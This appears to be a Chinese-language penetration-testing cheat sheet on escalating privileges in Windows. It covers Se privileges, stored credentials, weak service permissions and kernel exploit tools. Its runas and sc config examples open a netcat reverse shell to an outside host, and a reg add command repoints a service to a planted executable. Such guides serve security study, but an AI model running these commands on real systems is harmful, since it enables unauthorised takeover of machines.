如何获取Windows系统高级权限的详细提权指南?
摘要:男儿若遂平生志,五经勤向窗前读。 导航 壹 - Se 特权 贰 - RunAs 叁 - 弱服务 肆 - Windows 内核 伍 - 密码搜寻 陆 - 杂项 AlwaysInstallElevated 开机自启 柒 - 服务程序 MSSQL
男儿若遂平生志,五经勤向窗前读。
导航
壹 - Se 特权
贰 - RunAs
叁 - 弱服务
肆 - Windows 内核
伍 - 密码搜寻
陆 - 杂项
AlwaysInstallElevated
开机自启
柒 - 服务程序
MSSQL
MySQL UDF
PrintNightmare
不安全的 GUI 程序
捌 - 自动化工具
壹 - Se 特权
检查当前用户是否拥有感兴趣的 Se 特权,如 SeImpersonatePrivilege/SeAssignPrimaryPrivilege、SeBackupPrivilege、SeRestorePrivilege/SeTakeOwnershipPrivilege 等。【命令 whoami /priv 】
若拥有 SeImpersonatePrivilege 特权,则展开土豆提权。【利用方法】
若拥有 SeBackupPrivilege 特权,则需先进行 SAM/SYSTEM 文件提取,然后开始 PTH 攻击提权。【利用方法】
至于其它特权所拥有的可利用特性,可根据此仓库内容进行研究探索。
贰 - RunAs
检查当前环境是否拥有任何存储的凭证。【命令 cmdkey /list 】
若发现凭证,则可使用 runas /env /noprofile /savecred /user:admin "c:\temp\nc.exe 1.1.1.1 443 -e cmd.exe" 来进行权限移动。
若通过下文的密码搜寻获得了用户的密码信息,则可参考该文章进行权限移动。
叁 - 弱服务
弱服务的枚举最好还是通过工具 PowerUp 和 winPEAS 去自动分析,手工分析较为繁琐。弱服务类别如下:
弱服务权限:用户对服务自身具有修改权限,故可通过 sc 命令修改服务的启动程序路径或服务启动身份。【命令 sc config Juggernaut binPath= "C:\temp\nc.exe 1.1.1.1 443 -e C:\windows\system32\cmd.exe" 】【更多详情】
弱注册表权限:用户对服务所对应的注册表具有写入权限,故可通过 reg 命令间接修改服务启动程序路径或服务启动身份的动作。【命令 reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Juggernaut" /v ImagePath /t REG_EXPAND_SZ /d "C:\temp\shell.exe" /f】【更多详情】
弱文件/目录权限:用户对服务启动程序所在目录具有写入权限,故可对启动程序进行替换。【更多详情】
未引用的服务路径:(1)服务启动程序的绝对路径存在空格且没有使用双引号包裹,触发系统按照路径优先级逐层查找可执行文件。(2)在逐层查找的路径中,用户对其中一个目录具有写入权限。(3)依此在目录下写入一个 对应名称 的恶意程序。【更多详情】
DLL 劫持:类似“弱文件/目录权限”中替换服务启动程序一样,DLL 劫持会对服务启动程序所加载的 DLL 文件进行直接替换或间接劫持。
直接替换要求用户对服务启动程序所在目录具有写入权限。【注:既如此,何不直接替换启动程序】【更多详情】
间接劫持需要分析服务启动时会加载哪些 DLL,同时需要对 DLL 标准搜索目录其中之一具有写入权限。【注:这种只对已知通用的服务有效果】【更多详情】
一些利用系统 DLL 加载进行攻击的仓库推荐:
https://github.com/xct/diaghub
https://github.com/itm4n/UsoDllLoader
https://github.com/sailay1996/WerTrigger
注意:在对服务进行利用之前,先知悉自己有没有触发服务重启的能力(重启服务[sc start *]、重启电脑),否则做了也是无用工。
肆 - Windows 内核
查看 OS 版本信息,确认 Windows 的新旧版本。【命令 systeminfo 】
Windows XP/7/Server 2008/Server 2012/其它更旧版本 都称为旧版 Windows 系统。旧版 Windows 系统可将 systeminfo.txt 内容交给自动工具 wesng 和 Windows Exploit Suggester 2 去离线分析,或在受害机本机使用 sherlock.ps1 脚本去分析,分析结果中交集的漏洞可优先实验。
